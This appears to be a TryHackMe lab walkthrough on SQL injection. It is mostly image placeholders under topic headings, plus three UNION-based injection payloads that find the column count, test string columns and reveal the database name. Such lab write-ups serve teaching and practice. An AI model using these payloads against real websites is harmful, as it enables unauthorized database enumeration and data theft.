> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/walkthroughs-easy/sql-injection.md).

# SQL Injection

![](/files/-MezzyzWt33hs795sId5)

## Introduction

![](/files/-Mf--9pqiVnDQ32iVA4p)

## Basics of SQL Language

![](/files/-Mf--Xz9Ido_cLoCecDo)

## What is SQLi

![](/files/-Mf-0LuE9hpqHaXRG801)

## How to detect SQLi

![](/files/-Mf-16VYS-HSowgqtF35)

![](/files/-Mf-1MsLEPhk5-1VHJnV)

## Error Based SQLi

![](/files/-Mf-27xIy8LUdUeM-_0G)

![](/files/-Mf-2TMkWh26lKhn-Ev6)

![](/files/-Mf-2bs76qH9O0fgcqv2)

## Boolean Based SQLi

![](/files/-Mf-3WWuDB0mZDneuO3L)

![](/files/-Mf-45UaIRJiUi01tuEB)

## UNION Based SQLi

![](/files/-Mf-4XDI2qDk7IyLZO02)

![](/files/-Mf-4nPbEEr7pC0eXhlr)

![](/files/-Mf-5DX67MCdHfgeZXbJ)

![](/files/-Mf-5ZMC0jBPufRuMc4F)

After testing different number of columns, we can find the right number of columns in the database with this search query

```
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- //
```

![](/files/-Mf-6IT6lZXVwR6hnr6n)

We can also see that all of the columns can take a string input with this query

```
' UNION SELECT 'a','a','a','a','a' -- //
```

![](/files/-Mf-6eITXLRWXF6W4tJe)

We can see the name of the database with this query

```
' UNION SELECT 'a',database(),'a','a','a' -- //
```

![](/files/-Mf-6vTZC84V_JKYwFhi)

![](/files/-Mf-6zsha--1vec_-HhN)

## Automating Exploitation

![](/files/-Mf-7QIBzLrJOhtVIbL1)

![](/files/-Mf-7TgdECRCpcQhiKfy)

![](/files/-Mf-7g-LHdj_4lIx5kXv)

![](/files/-Mf-7sNTAcCmWyHLEoBF)

![](/files/-Mf-9DrfQZ6LO2qpTxtX)